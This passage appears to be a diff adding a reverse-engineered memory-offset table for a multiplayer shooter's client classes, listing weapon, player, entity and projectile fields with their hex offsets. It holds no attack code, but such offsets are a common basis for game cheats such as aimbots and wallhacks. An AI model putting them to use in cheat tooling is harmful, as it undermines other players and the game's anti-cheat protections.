+CRagdoll!0x0500 m_ragdoll.list[24 + 7].parentIndex +CRagdoll!0x0508 m_ragdoll.boneIndex +``` +
+
+class CTurret extends C_BaseAnimatingOverlay + +``` +{ + m_aimAngle: Float, + m_minConeAngle: Float, + m_maxConeAngle: Float, +} +``` + +### Offsets + +``` +CTurret!0x19bc m_aimAngle +CTurret!0x19c8 m_minConeAngle +CTurret!0x19d4 m_maxConeAngle +``` +
+
+class CWeaponX extends C_BaseAnimating + +``` +{ + m_localOrigin: Vector, + m_nNextThinkTick: Int, + m_SequenceTransitioner: C_SequenceTransitioner, + m_weaponOwner: EHANDLE, + m_lastPrimaryAttack: Time, + m_nextReadyTime: Time, + m_nextPrimaryAttackTime: Time, + m_attackTimeThisFrame: Time, + m_worldModelIndexOverride: Int, + m_iWorldModelIndex: Int, + m_holsterModelIndex: Int, + m_droppedModelIndex: Int, + m_nIdealSequence: Int, + m_IdealActivity: Int, + m_weaponActivity: Int, + m_ActiveState: Int, + m_ammoInClip: Int, + m_ammoInStockpile: Int, + m_lifetimeShots: Int, + m_flTimeWeaponIdle: Time, + m_weapState: Int, + m_discarded: Bool, + m_bInReload: Bool, + m_tossRelease: Int, + m_customActivity: Int, + m_customActivitySequence: Int, + m_customActivityOwner: EHANDLE, + m_customActivityEndTime: Time, + m_customActivityFlags: Char, + m_playerData: WeaponPlayerData, + m_targetingLaserEnabledScript: Bool, + m_needsReloadCheck: Bool, + m_needsEmptyCycleCheck: Bool, + m_skinOverride: Int, + m_skinOverrideIsValid: Bool, + m_chargeStartTime: Time, + m_chargeEndTime: Time, + m_lastChargeFrac: Float, + m_lastRegenTime: Time, + m_cooldownEndTime: Time, + m_stockPileWasDraining: Bool, + m_weaponIsCharging: Bool, + m_weaponChargeLevelIncreasedAnimPlaying: Bool, + m_lastChargeLevel: Int, + m_chargeEnergyDepleteStepCounter: Int, + m_burstFireCount: Int, + m_burstFireIndex: Int, + m_shotIndexForSpread: Int, + m_shotCount: Int, + m_sustainedDischargeEndTime: Time, + m_sustainedLaserCurrentSpread: Float, + m_sustainedDischargeIsInPrimaryAttack: Bool, + m_sustainedLaserNextRandomSeed: Char, + m_modBitfieldFromPlayer: Int, + m_modBitfieldInternal: Int, + m_modBitfieldCurrent: Int, + m_curSharedEnergyCost: Int, + m_grappleWeaponNeedsDryfire: Bool, + m_scriptActivated: Bool, + m_flNextEmptySoundTime: Float, + m_bRemoveable: Bool, +} +``` + +### Offsets + +``` +CWeaponX!0x0158 m_localOrigin +CWeaponX!0x054c m_nNextThinkTick +CWeaponX!0x0c00 m_SequenceTransitioner +CWeaponX!0x1600 m_weaponOwner +CWeaponX!0x1604 m_lastPrimaryAttack +CWeaponX!0x1608 m_nextReadyTime +CWeaponX!0x160c m_nextPrimaryAttackTime +CWeaponX!0x1610 m_attackTimeThisFrame +CWeaponX!0x1614 m_worldModelIndexOverride +CWeaponX!0x1618 m_iWorldModelIndex +CWeaponX!0x161c m_holsterModelIndex +CWeaponX!0x1620 m_droppedModelIndex +CWeaponX!0x1624 m_nIdealSequence +CWeaponX!0x1628 m_IdealActivity +CWeaponX!0x162c m_weaponActivity +CWeaponX!0x1630 m_ActiveState +CWeaponX!0x1634 m_ammoInClip +CWeaponX!0x1638 m_ammoInStockpile +CWeaponX!0x163c m_lifetimeShots +CWeaponX!0x1640 m_flTimeWeaponIdle +CWeaponX!0x1644 m_weapState +CWeaponX!0x1649 m_discarded +CWeaponX!0x164a m_bInReload +CWeaponX!0x1650 m_tossRelease +CWeaponX!0x1654 m_customActivity +CWeaponX!0x1658 m_customActivitySequence +CWeaponX!0x165c m_customActivityOwner +CWeaponX!0x1660 m_customActivityEndTime +CWeaponX!0x1664 m_customActivityFlags +CWeaponX!0x1668 m_playerData +CWeaponX!0x174c m_targetingLaserEnabledScript +CWeaponX!0x174d m_needsReloadCheck +CWeaponX!0x174e m_needsEmptyCycleCheck +CWeaponX!0x1750 m_skinOverride +CWeaponX!0x1754 m_skinOverrideIsValid +CWeaponX!0x1758 m_chargeStartTime +CWeaponX!0x175c m_chargeEndTime +CWeaponX!0x1760 m_lastChargeFrac +CWeaponX!0x1764 m_lastRegenTime +CWeaponX!0x1768 m_cooldownEndTime +CWeaponX!0x176c m_stockPileWasDraining +CWeaponX!0x176d m_weaponIsCharging +CWeaponX!0x176e m_weaponChargeLevelIncreasedAnimPlaying +CWeaponX!0x1770 m_lastChargeLevel +CWeaponX!0x1774 m_chargeEnergyDepleteStepCounter +CWeaponX!0x1778 m_burstFireCount +CWeaponX!0x177c m_burstFireIndex +CWeaponX!0x1780 m_shotIndexForSpread +CWeaponX!0x1784 m_shotCount +CWeaponX!0x1788 m_sustainedDischargeEndTime +CWeaponX!0x178c m_sustainedLaserCurrentSpread +CWeaponX!0x1790 m_sustainedDischargeIsInPrimaryAttack +CWeaponX!0x1791 m_sustainedLaserNextRandomSeed +CWeaponX!0x1794 m_modBitfieldFromPlayer +CWeaponX!0x1798 m_modBitfieldInternal +CWeaponX!0x179c m_modBitfieldCurrent +CWeaponX!0x17a0 m_curSharedEnergyCost +CWeaponX!0x17a4 m_grappleWeaponNeedsDryfire +CWeaponX!0x17a5 m_scriptActivated +CWeaponX!0x2c10 m_flNextEmptySoundTime +CWeaponX!0x2c36 m_bRemoveable +``` +
+
+class C_BaseAnimating extends C_BaseEntity + +``` +{ + m_currentFrame.animCycle: Float, + m_animNetworkFlags: Int, + m_networkAnimActive: Bool, + m_animActive: Bool, + m_animCollisionEnabled: Bool, + m_animRelativeToGroundEnabled: Bool, + m_animPlantingEnabled: Bool, + m_predictedAnimEventData: PredictedAnimEventData, + m_SequenceTransitioner: C_SequenceTransitioner, + m_nSkin: Int, + m_skinMod: Short, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Bool, + m_bSequenceLooped: Bool, + m_bSequenceLoops: Bool, + m_flModelScale: Float, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animPlaybackRate: Float, + m_currentFrameBaseAnimating.animModelIndex: Int, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, +} +``` + +### Offsets + +``` +C_BaseAnimating!0x00c4 m_currentFrame.animCycle +C_BaseAnimating!0x0a68 m_animNetworkFlags +C_BaseAnimating!0x0a6c m_networkAnimActive +C_BaseAnimating!0x0a6e m_animActive +C_BaseAnimating!0x0a6f m_animCollisionEnabled +C_BaseAnimating!0x0a70 m_animRelativeToGroundEnabled +C_BaseAnimating!0x0a71 m_animPlantingEnabled +C_BaseAnimating!0x0b68 m_predictedAnimEventData +C_BaseAnimating!0x0c00 m_SequenceTransitioner +C_BaseAnimating!0x0e88 m_nSkin +C_BaseAnimating!0x0e8c m_skinMod +C_BaseAnimating!0x0e90 m_nBody +C_BaseAnimating!0x0e9c m_nResetEventsParity +C_BaseAnimating!0x0f34 m_bSequenceFinished +C_BaseAnimating!0x0f3c m_bSequenceLooped +C_BaseAnimating!0x0f3d m_bSequenceLoops +C_BaseAnimating!0x0f40 m_flModelScale +C_BaseAnimating!0x0f4c m_currentFrameBaseAnimating.animStartTime +C_BaseAnimating!0x0f50 m_currentFrameBaseAnimating.animStartCycle +C_BaseAnimating!0x0f54 m_currentFrameBaseAnimating.animPlaybackRate +C_BaseAnimating!0x0f5c m_currentFrameBaseAnimating.animModelIndex +C_BaseAnimating!0x0f60 m_currentFrameBaseAnimating.animSequence +C_BaseAnimating!0x0f64 m_currentFrameBaseAnimating.animSequenceParity +C_BaseAnimating!0x0f68 m_currentFrameBaseAnimating.m_flPoseParameters +``` +
+
+class C_BaseAnimatingOverlay extends C_BaseAnimating + +``` +{ + m_AnimOverlay: C_AnimationLayer, + m_AnimOverlayCount: Int, + m_currentFrameAnimatingOverlay.animOverlayIsActive: Bool, + m_currentFrameAnimatingOverlay.animOverlayStartTime: Float, + m_currentFrameAnimatingOverlay.animOverlayStartCycle: Float, + m_currentFrameAnimatingOverlay.animOverlayPlaybackRate: Float, + m_currentFrameAnimatingOverlay.animOverlayModelIndex: Int, + m_currentFrameAnimatingOverlay.animOverlaySequence: Int, + m_currentFrameAnimatingOverlay.animOverlayWeight: Float, + m_currentFrameAnimatingOverlay.animOverlayOrder: Int, + m_currentFrameAnimatingOverlay.animOverlayAnimTime: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeInDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration: Float, + m_currentFrameAnimatingOverlay.animOverlayCycle: Float, +} +``` + +### Offsets + +``` +C_BaseAnimatingOverlay!0x1608 m_AnimOverlay +C_BaseAnimatingOverlay!0x16e0 m_AnimOverlayCount +C_BaseAnimatingOverlay!0x1724 m_currentFrameAnimatingOverlay.animOverlayIsActive +C_BaseAnimatingOverlay!0x1730 m_currentFrameAnimatingOverlay.animOverlayStartTime +C_BaseAnimatingOverlay!0x1754 m_currentFrameAnimatingOverlay.animOverlayStartCycle +C_BaseAnimatingOverlay!0x1778 m_currentFrameAnimatingOverlay.animOverlayPlaybackRate +C_BaseAnimatingOverlay!0x179c m_currentFrameAnimatingOverlay.animOverlayModelIndex +C_BaseAnimatingOverlay!0x17c0 m_currentFrameAnimatingOverlay.animOverlaySequence +C_BaseAnimatingOverlay!0x17e4 m_currentFrameAnimatingOverlay.animOverlayWeight +C_BaseAnimatingOverlay!0x1808 m_currentFrameAnimatingOverlay.animOverlayOrder +C_BaseAnimatingOverlay!0x182c m_currentFrameAnimatingOverlay.animOverlayAnimTime +C_BaseAnimatingOverlay!0x1850 m_currentFrameAnimatingOverlay.animOverlayFadeInDuration +C_BaseAnimatingOverlay!0x1874 m_currentFrameAnimatingOverlay.animOverlayFadeOutDuration +C_BaseAnimatingOverlay!0x1898 m_currentFrameAnimatingOverlay.animOverlayCycle +``` +
+
+class C_BaseCombatCharacter extends C_BaseAnimatingOverlay + +``` +{ + m_currentFrame.weaponGettingSwitchedOut: EHANDLE, + m_currentFrame.showActiveWeapon3p: Bool, + m_deathVelocity: Float, + m_phaseShiftFlags: Int, + m_flNextAttack: Time, + m_lastFiredTime: Time, + m_lastFiredWeapon: EHANDLE, + m_raiseFromMeleeEndTime: Time, + m_sharedEnergyCount: Int, + m_sharedEnergyTotal: Int, + m_sharedEnergyLockoutThreshold: Int, + m_lastSharedEnergyRegenTime: Time, + m_sharedEnergyRegenRate: Time, + m_sharedEnergyRegenDelay: Float, + m_lastSharedEnergyTakeTime: Time, + m_inventory: WeaponInventory_Client, + m_selectedWeapons: Char, + m_latestPrimaryWeapons: EHANDLE, + m_latestPrimaryWeaponsIndexZeroOrOne: EHANDLE, + m_latestNonOffhandWeapons: Char, + m_selectedOffhands: Char, + m_selectedOffhandsPendingHybridAction: Char, + m_lastCycleSlot: Char, + m_latestMeleeWeapon: EHANDLE, + m_weaponPermission: Int, + m_weaponDelayEnableTime: Time, + m_weaponDisabledInScript: Bool, + m_weaponDisabledFlags: Char, + m_weaponTypeDisabledFlags: Int, + m_weaponTypeDisabledRefCount: Char, + m_hudInfo_visibilityTestAlwaysPasses: Bool, + m_contextAction: Int, + m_phaseShiftTimeStart: Time, + m_phaseShiftTimeEnd: Time, +} +``` + +### Offsets + +``` +C_BaseCombatCharacter!0x00c8 m_currentFrame.weaponGettingSwitchedOut +C_BaseCombatCharacter!0x00d0 m_currentFrame.showActiveWeapon3p +C_BaseCombatCharacter!0x0454 m_deathVelocity +C_BaseCombatCharacter!0x0790 m_phaseShiftFlags +C_BaseCombatCharacter!0x1980 m_flNextAttack +C_BaseCombatCharacter!0x1984 m_lastFiredTime +C_BaseCombatCharacter!0x1988 m_lastFiredWeapon +C_BaseCombatCharacter!0x198c m_raiseFromMeleeEndTime +C_BaseCombatCharacter!0x1990 m_sharedEnergyCount +C_BaseCombatCharacter!0x1994 m_sharedEnergyTotal +C_BaseCombatCharacter!0x1998 m_sharedEnergyLockoutThreshold +C_BaseCombatCharacter!0x199c m_lastSharedEnergyRegenTime +C_BaseCombatCharacter!0x19a0 m_sharedEnergyRegenRate +C_BaseCombatCharacter!0x19a4 m_sharedEnergyRegenDelay +C_BaseCombatCharacter!0x19a8 m_lastSharedEnergyTakeTime +C_BaseCombatCharacter!0x19b0 m_inventory +C_BaseCombatCharacter!0x1a08 m_selectedWeapons +C_BaseCombatCharacter!0x1a0c m_latestPrimaryWeapons +C_BaseCombatCharacter!0x1a14 m_latestPrimaryWeaponsIndexZeroOrOne +C_BaseCombatCharacter!0x1a1c m_latestNonOffhandWeapons +C_BaseCombatCharacter!0x1a1e m_selectedOffhands +C_BaseCombatCharacter!0x1a21 m_selectedOffhandsPendingHybridAction +C_BaseCombatCharacter!0x1a24 m_lastCycleSlot +C_BaseCombatCharacter!0x1a28 m_latestMeleeWeapon +C_BaseCombatCharacter!0x1a2c m_weaponPermission +C_BaseCombatCharacter!0x1a30 m_weaponDelayEnableTime +C_BaseCombatCharacter!0x1a34 m_weaponDisabledInScript +C_BaseCombatCharacter!0x1a59 m_weaponDisabledFlags +C_BaseCombatCharacter!0x1a5c m_weaponTypeDisabledFlags +C_BaseCombatCharacter!0x1a60 m_weaponTypeDisabledRefCount +C_BaseCombatCharacter!0x1a69 m_hudInfo_visibilityTestAlwaysPasses +C_BaseCombatCharacter!0x1a7c m_contextAction +C_BaseCombatCharacter!0x1aa8 m_phaseShiftTimeStart +C_BaseCombatCharacter!0x1aac m_phaseShiftTimeEnd +``` +
+
+class C_BaseEntity + +``` +{ + m_iEFlags: Int, + m_fFlags: Int, + m_currentFrame.modelIndex: Short, + m_currentFrame.viewOffset: Vector, + m_vecAngVelocity: Vector, + m_angAbsRotation: Vector, + m_vecAbsVelocity: Vector, + m_vecAbsOrigin: Vector, + m_localOrigin: Vector, + m_localAngles: Vector, + m_flGravity: Float, + m_flProxyRandomValue: Float, + m_hGroundEntity: EHANDLE, + m_flMaxspeed: Float, + m_visibilityFlags: Int, + m_fEffects: Int, + m_iTeamNum: Int, + m_passThroughFlags: Int, + m_passThroughThickness: Int, + m_passThroughDirection: Float, + m_deathVelocity: Vector, + m_vecVelocity: Vector, + m_angNetworkAngles: Vector, + m_flFriction: Float, + m_hOwnerEntity: EHANDLE, + m_bRenderWithViewModels: Bool, + m_nRenderFX: Char, + m_nRenderMode: Char, + m_MoveType: Char, + m_MoveCollide: Char, + m_Collision: CCollisionProperty, +} +``` + +### Offsets + +``` +C_BaseEntity!0x0058 m_iEFlags +C_BaseEntity!0x0098 m_fFlags +C_BaseEntity!0x00a8 m_currentFrame.modelIndex +C_BaseEntity!0x00b8 m_currentFrame.viewOffset +C_BaseEntity!0x0128 m_vecAngVelocity +C_BaseEntity!0x0134 m_angAbsRotation +C_BaseEntity!0x0140 m_vecAbsVelocity +C_BaseEntity!0x014c m_vecAbsOrigin +C_BaseEntity!0x0158 m_localOrigin +C_BaseEntity!0x0164 m_localAngles +C_BaseEntity!0x0408 m_flGravity +C_BaseEntity!0x040c m_flProxyRandomValue +C_BaseEntity!0x041c m_hGroundEntity +C_BaseEntity!0x0424 m_flMaxspeed +C_BaseEntity!0x0428 m_visibilityFlags +C_BaseEntity!0x042c m_fEffects +C_BaseEntity!0x0430 m_iTeamNum +C_BaseEntity!0x0448 m_passThroughFlags +C_BaseEntity!0x044c m_passThroughThickness +C_BaseEntity!0x0450 m_passThroughDirection +C_BaseEntity!0x0454 m_deathVelocity +C_BaseEntity!0x0460 m_vecVelocity +C_BaseEntity!0x046c m_angNetworkAngles +C_BaseEntity!0x0478 m_flFriction +C_BaseEntity!0x0480 m_hOwnerEntity +C_BaseEntity!0x0484 m_bRenderWithViewModels +C_BaseEntity!0x0485 m_nRenderFX +C_BaseEntity!0x0491 m_nRenderMode +C_BaseEntity!0x0492 m_MoveType +C_BaseEntity!0x0493 m_MoveCollide +C_BaseEntity!0x0498 m_Collision +``` +
+
+class C_BaseEntity + +``` +{ + m_ModelName: String, + m_fFlags: Int, + m_angAbsRotation: Vector, + m_vecAbsOrigin: PositionVector, + m_vecPrevAbsOrigin: PositionVector, + m_flGravity: Float, + m_rgflCoordinateFrame: Float, +} +``` + +### Offsets + +``` +C_BaseEntity!0x0030 m_ModelName +C_BaseEntity!0x0098 m_fFlags +C_BaseEntity!0x0134 m_angAbsRotation +C_BaseEntity!0x014c m_vecAbsOrigin +C_BaseEntity!0x03fc m_vecPrevAbsOrigin +C_BaseEntity!0x0408 m_flGravity +C_BaseEntity!0x08b0 m_rgflCoordinateFrame +``` +
+
+class C_BreakableSurface extends C_BaseEntity + +``` +{ + m_nPanelBits: Char, +} +``` + +### Offsets + +``` +C_BreakableSurface!0x0cc8 m_nPanelBits +``` +
+
+class C_ClientRagdoll extends C_BaseEntity + +``` +{ + m_clrRender: Color32, + m_nRenderFX: Char, + m_nRenderMode: Char, + m_pRagdoll: CRagdoll, + m_nSkin: Int, + m_skinMod: Short, + m_nBody: Int, + m_bFadeOut: Bool, + m_bImportant: Bool, + m_flEffectTime: Time, + m_iCurrentFriction: Int, + m_iMinFriction: Int, + m_iMaxFriction: Int, + m_flFrictionModTime: Float, + m_flFrictionTime: Time, + m_iFrictionAnimState: Int, + m_bReleaseRagdoll: Bool, + m_bFadingOut: Bool, + m_flScaleEnd: Float, + m_flScaleTimeStart: Float, + m_flScaleTimeEnd: Float, +} +``` + +### Offsets + +``` +C_ClientRagdoll!0x0050 m_clrRender +C_ClientRagdoll!0x0485 m_nRenderFX +C_ClientRagdoll!0x0491 m_nRenderMode +C_ClientRagdoll!0x0bc8 m_pRagdoll +C_ClientRagdoll!0x0e88 m_nSkin +C_ClientRagdoll!0x0e8c m_skinMod +C_ClientRagdoll!0x0e90 m_nBody +C_ClientRagdoll!0x1600 m_bFadeOut +C_ClientRagdoll!0x1601 m_bImportant +C_ClientRagdoll!0x1604 m_flEffectTime +C_ClientRagdoll!0x1608 m_iCurrentFriction +C_ClientRagdoll!0x160c m_iMinFriction +C_ClientRagdoll!0x1610 m_iMaxFriction +C_ClientRagdoll!0x1614 m_flFrictionModTime +C_ClientRagdoll!0x1618 m_flFrictionTime +C_ClientRagdoll!0x161c m_iFrictionAnimState +C_ClientRagdoll!0x1620 m_bReleaseRagdoll +C_ClientRagdoll!0x1621 m_bFadingOut +C_ClientRagdoll!0x1624 m_flScaleEnd +C_ClientRagdoll!0x164c m_flScaleTimeStart +C_ClientRagdoll!0x1674 m_flScaleTimeEnd +``` +
+
+class C_CrossbowBolt extends C_Projectile + +``` +{ + m_bounceCount: Int, + m_maxBounceCount: Int, + m_doesGrow: Bool, + m_growStartSize: Float, + m_growStage1Tick: Tick, + m_growStage1Size: Float, + m_growStage2Tick: Tick, + m_growStage2Size: Float, + m_growStageFinalTick: Tick, + m_growStageFinalSize: Float, +} +``` + +### Offsets + +``` +C_CrossbowBolt!0x2c40 m_bounceCount +C_CrossbowBolt!0x2c44 m_maxBounceCount +C_CrossbowBolt!0x2c48 m_doesGrow +C_CrossbowBolt!0x2c4c m_growStartSize +C_CrossbowBolt!0x2c50 m_growStage1Tick +C_CrossbowBolt!0x2c54 m_growStage1Size +C_CrossbowBolt!0x2c58 m_growStage2Tick +C_CrossbowBolt!0x2c5c m_growStage2Size +C_CrossbowBolt!0x2c60 m_growStageFinalTick +C_CrossbowBolt!0x2c64 m_growStageFinalSize +``` +
+
+class C_DynamicProp extends C_BaseEntity + +``` +{ + m_bClientSide: Bool, +} +``` + +### Offsets + +``` +C_DynamicProp!0x1600 m_bClientSide +``` +
+
+class C_EnvWindShared + +``` +{ + m_flStartTime: Float, + m_iWindSeed: Int, + m_iMinWind: Int, + m_iMaxWind: Int, + m_windRadius: Int, + m_iMinGust: Int, + m_iMaxGust: Int, + m_flMinGustDelay: Float, + m_flMaxGustDelay: Float, + m_flGustDuration: Float, + m_iGustDirChange: Int, + m_location: Vector, + m_iszGustSound: Int, + m_iWindDir: Int, + m_flWindSpeed: Float, + m_currentWindVector: Vector, + m_CurrentSwayVector: Vector, + m_PrevSwayVector: Vector, + m_iInitialWindDir: Int, + m_flInitialWindSpeed: Float, + m_flVariationTime: Float, + m_flSimTime: Float, + m_flSwitchTime: Float, + m_flAveWindSpeed: Float, + m_bGusting: Bool, + m_flWindAngleVariation: Float, + m_flWindSpeedVariation: Float, + m_iEntIndex: Int, + m_Stream: Void, + m_WindVariationStream: Void, + m_WindAveQueue: Void, + m_WindVariationQueue: Void, +} +``` + +### Offsets + +``` +C_EnvWindShared!0x0008 m_flStartTime +C_EnvWindShared!0x000c m_iWindSeed +C_EnvWindShared!0x0010 m_iMinWind +C_EnvWindShared!0x0014 m_iMaxWind +C_EnvWindShared!0x0018 m_windRadius +C_EnvWindShared!0x001c m_iMinGust +C_EnvWindShared!0x0020 m_iMaxGust +C_EnvWindShared!0x0024 m_flMinGustDelay +C_EnvWindShared!0x0028 m_flMaxGustDelay +C_EnvWindShared!0x002c m_flGustDuration +C_EnvWindShared!0x0030 m_iGustDirChange +C_EnvWindShared!0x0034 m_location +C_EnvWindShared!0x0040 m_iszGustSound +C_EnvWindShared!0x0044 m_iWindDir +C_EnvWindShared!0x0048 m_flWindSpeed +C_EnvWindShared!0x004c m_currentWindVector +C_EnvWindShared!0x0058 m_CurrentSwayVector +C_EnvWindShared!0x0064 m_PrevSwayVector +C_EnvWindShared!0x0070 m_iInitialWindDir +C_EnvWindShared!0x0074 m_flInitialWindSpeed +C_EnvWindShared!0x0078 m_flVariationTime +C_EnvWindShared!0x007c m_flSimTime +C_EnvWindShared!0x0080 m_flSwitchTime +C_EnvWindShared!0x0084 m_flAveWindSpeed +C_EnvWindShared!0x0088 m_bGusting +C_EnvWindShared!0x008c m_flWindAngleVariation +C_EnvWindShared!0x0090 m_flWindSpeedVariation +C_EnvWindShared!0x0094 m_iEntIndex +C_EnvWindShared!0x0098 m_Stream +C_EnvWindShared!0x00d0 m_WindVariationStream +C_EnvWindShared!0x0108 m_WindAveQueue +C_EnvWindShared!0x0140 m_WindVariationQueue +``` +
+
+class C_ExposureController extends C_BaseEntity + +``` +{ + m_autoCompensation: Float, + m_autoForceValue: Float, + m_autoMin: Float, + m_autoMax: Float, + m_autoSpeed: Float, + m_minFadeTime: Float, + m_isDirectional: Bool, + m_directionalHalfAngle: Float, +} +``` + +### Offsets + +``` +C_ExposureController!0x0a40 m_autoCompensation +C_ExposureController!0x0a44 m_autoForceValue +C_ExposureController!0x0a48 m_autoMin +C_ExposureController!0x0a4c m_autoMax +C_ExposureController!0x0a50 m_autoSpeed +C_ExposureController!0x0a54 m_minFadeTime +C_ExposureController!0x0a58 m_isDirectional +C_ExposureController!0x0a5c m_directionalHalfAngle +``` +
+
+class C_ExposureVolume extends C_BaseEntity + +``` +{ + m_volumeTester: Outer, + m_exposureTarget: ClassPtr, + m_exposureTargetName: String, + m_exposurePriority: Float, +} +``` + +### Offsets + +``` +C_ExposureVolume!0x0a40 m_volumeTester +C_ExposureVolume!0x0a48 m_exposureTarget +C_ExposureVolume!0x0a50 m_exposureTargetName +C_ExposureVolume!0x0a58 m_exposurePriority +``` +
+
+class C_FogController extends C_BaseEntity + +``` +{ + m_fogParams: fogplayerparamsstate_t, + m_fogAngles: Vector, + m_useAbsAngles: Bool, +} +``` + +### Offsets + +``` +C_FogController!0x0a40 m_fogParams +C_FogController!0x0aa8 m_fogAngles +C_FogController!0x0ab4 m_useAbsAngles +``` +
+
+class C_FogVolume extends C_BaseEntity + +``` +{ + m_volumeTester: Outer, + m_fogTarget: ClassPtr, + m_fogTargetName: String, + m_fogPriority: Int, +} +``` + +### Offsets + +``` +C_FogVolume!0x0a40 m_volumeTester +C_FogVolume!0x0a48 m_fogTarget +C_FogVolume!0x0a50 m_fogTargetName +C_FogVolume!0x0a58 m_fogPriority +``` +
+
+class C_GlobalNonRewinding extends C_BaseEntity + +``` +{ + m_playerObserver: C_ObserverMode, + m_playerMiscData: C_NonRewindMiscData, +} +``` + +### Offsets + +``` +C_GlobalNonRewinding!0x0a40 m_playerObserver +C_GlobalNonRewinding!0x0e40 m_playerMiscData +``` +
+
+class C_KnockBack + +``` +{ + velocity: Vector, + beginTime: Time, + endTime: Time, +} +``` + +### Offsets + +``` +C_KnockBack!0x0008 velocity +C_KnockBack!0x0014 beginTime +C_KnockBack!0x0018 endTime +``` +
+
+class C_Missile extends C_Projectile + +``` +{ + m_hasPlayedWhizby: Bool, + m_whizByStart: Vector, + m_whizBySoundName: Char, + m_homingSpeed: Float, + m_homingSpeedDodgingPlayer: Float, + m_launchDir: Vector, + m_hSpecificTarget: EHANDLE, + m_targetOffset: Vector, + m_targetPosition: Vector, + m_useTargetPosition: Bool, + m_postIgnitionSpeed: Float, + m_flGracePeriodEndsAt: Time, + m_pathSettingsInitialized: Bool, + m_expandContractMissile: Bool, + m_spiralMissile: Bool, + m_spiralSettings: Void, + m_expandContractSettings: MissilePathExpandContractSettings_Client, + m_lastThinkTime: Time, + m_explosionIgnoreEntity: EHANDLE, +} +``` + +### Offsets + +``` +C_Missile!0x2c40 m_hasPlayedWhizby +C_Missile!0x2c44 m_whizByStart +C_Missile!0x2c50 m_whizBySoundName +C_Missile!0x2c90 m_homingSpeed +C_Missile!0x2c94 m_homingSpeedDodgingPlayer +C_Missile!0x2c98 m_launchDir +C_Missile!0x2ca4 m_hSpecificTarget +C_Missile!0x2ca8 m_targetOffset +C_Missile!0x2cb4 m_targetPosition +C_Missile!0x2cc0 m_useTargetPosition +C_Missile!0x2cc4 m_postIgnitionSpeed +C_Missile!0x2cc8 m_flGracePeriodEndsAt +C_Missile!0x2ccc m_pathSettingsInitialized +C_Missile!0x2ccd m_expandContractMissile +C_Missile!0x2cce m_spiralMissile +C_Missile!0x2d08 m_spiralSettings +C_Missile!0x2d38 m_expandContractSettings +C_Missile!0x2d90 m_lastThinkTime +C_Missile!0x2d94 m_explosionIgnoreEntity +``` +
+
+class C_NPC_SentryTurret extends C_BaseEntity + +``` +{ + m_killCount: Int, + m_titanKillCount: Int, +} +``` + +### Offsets + +``` +C_NPC_SentryTurret!0x1d44 m_killCount +C_NPC_SentryTurret!0x1d48 m_titanKillCount +``` +
+
+class C_NonRewindMiscData + +``` +{ + m_nextRespawnTime: Float, + m_musicPackAssigned: Int, +} +``` + +### Offsets + +``` +C_NonRewindMiscData!0x0000 m_nextRespawnTime +C_NonRewindMiscData!0x0004 m_musicPackAssigned +``` +
+
+class C_ObserverMode + +``` +{ + m_observerMode: Int, + m_observerTarget: EHANDLE, +} +``` + +### Offsets + +``` +C_ObserverMode!0x0000 m_observerMode +C_ObserverMode!0x0004 m_observerTarget +``` +
+
+class C_ParticleSystem extends C_BaseEntity + +``` +{ + m_bClientSide: Bool, + m_bActive: Bool, + m_warmUpTime: Float, + m_pauseAfterWarmup: Bool, + m_bInSkybox: Bool, + m_killForReplay: Bool, + m_killIfOverLimit: Bool, +} +``` + +### Offsets + +``` +C_ParticleSystem!0x0a48 m_bClientSide +C_ParticleSystem!0x0a49 m_bActive +C_ParticleSystem!0x0a50 m_warmUpTime +C_ParticleSystem!0x0a54 m_pauseAfterWarmup +C_ParticleSystem!0x0a55 m_bInSkybox +C_ParticleSystem!0x0a56 m_killForReplay +C_ParticleSystem!0x0a57 m_killIfOverLimit +``` +
+
+class C_Player extends C_BaseCombatCharacter + +``` +{ + m_fFlags: Int, + m_currentFrame.animCycle: Float, + m_pMoveParent: EHANDLE, + m_vecAbsVelocity: Vector, + m_hGroundEntity: EHANDLE, + m_flMaxspeed: Int, + m_vecVelocity: Vector, + m_flFriction: Float, + m_nNextThinkTick: Int, + m_SequenceTransitioner: C_SequenceTransitioner, + m_currentFrameBaseAnimating.animStartTime: Float, + m_currentFrameBaseAnimating.animStartCycle: Float, + m_currentFrameBaseAnimating.animSequence: Int, + m_currentFrameBaseAnimating.animSequenceParity: Int, + m_currentFrameBaseAnimating.m_flPoseParameters: Float, + m_bZooming: Bool, + m_zoomToggleOnStartTime: Time, + m_zoomBaseFrac: Float, + m_zoomBaseTime: Time, + m_zoomFullStartTime: Time, + m_lastUCmdSimulationTicks: Int, + m_lastUCmdSimulationRemainderTime: Float, + m_Local: C_PlayerLocalData, + m_currentFramePlayer.timeBase: Float, + m_currentFramePlayer.statusEffectsTimedPlayerCUR: StatusEffectTimedData, + m_currentFramePlayer.statusEffectsEndlessPlayerCUR: StatusEffectEndlessData, + m_currentFramePlayer.m_flHullHeight: Float, + m_currentFramePlayer.m_traversalAnimProgress: Float, + m_currentFramePlayer.m_sprintTiltFrac: Float, + m_currentFramePlayer.m_ammoPoolCount: Int, + m_currentFrameLocalPlayer.m_stepSmoothingOffset: Vector, + m_currentFrameLocalPlayer.m_duckTransitionRemainderMsec: Int, + m_currentFrameLocalPlayer.m_vecPunchBase_Angle: Vector, + m_currentFrameLocalPlayer.m_vecPunchBase_AngleVel: Vector, + m_currentFrameLocalPlayer.m_vecPunchWeapon_Angle: Vector, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.x: Float, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.y: Float, + m_currentFrameLocalPlayer.m_vecPunchWeapon_AngleVel.z: Float, + m_currentFrameLocalPlayer.m_localGravityRotation: Quaternion, + pl: CPlayerState, + m_ammoPoolCapacity: Int, + m_classModsActive: 29, + m_gestureSequences: Int, + m_gestureStartTimes: Time, + m_gestureBlendInDuration: Float, + m_gestureBlendOutDuration: Float, + m_gestureFadeOutStartTime: Time, + m_gestureFadeOutDuration: Float, + m_gestureAutoKillBitfield: Int, + m_afButtonLast: Int, + m_afButtonPressed: Int, + m_afButtonReleased: Int, + m_nButtons: Int, + m_nImpulse: Int, + m_flPhysics: Int, + 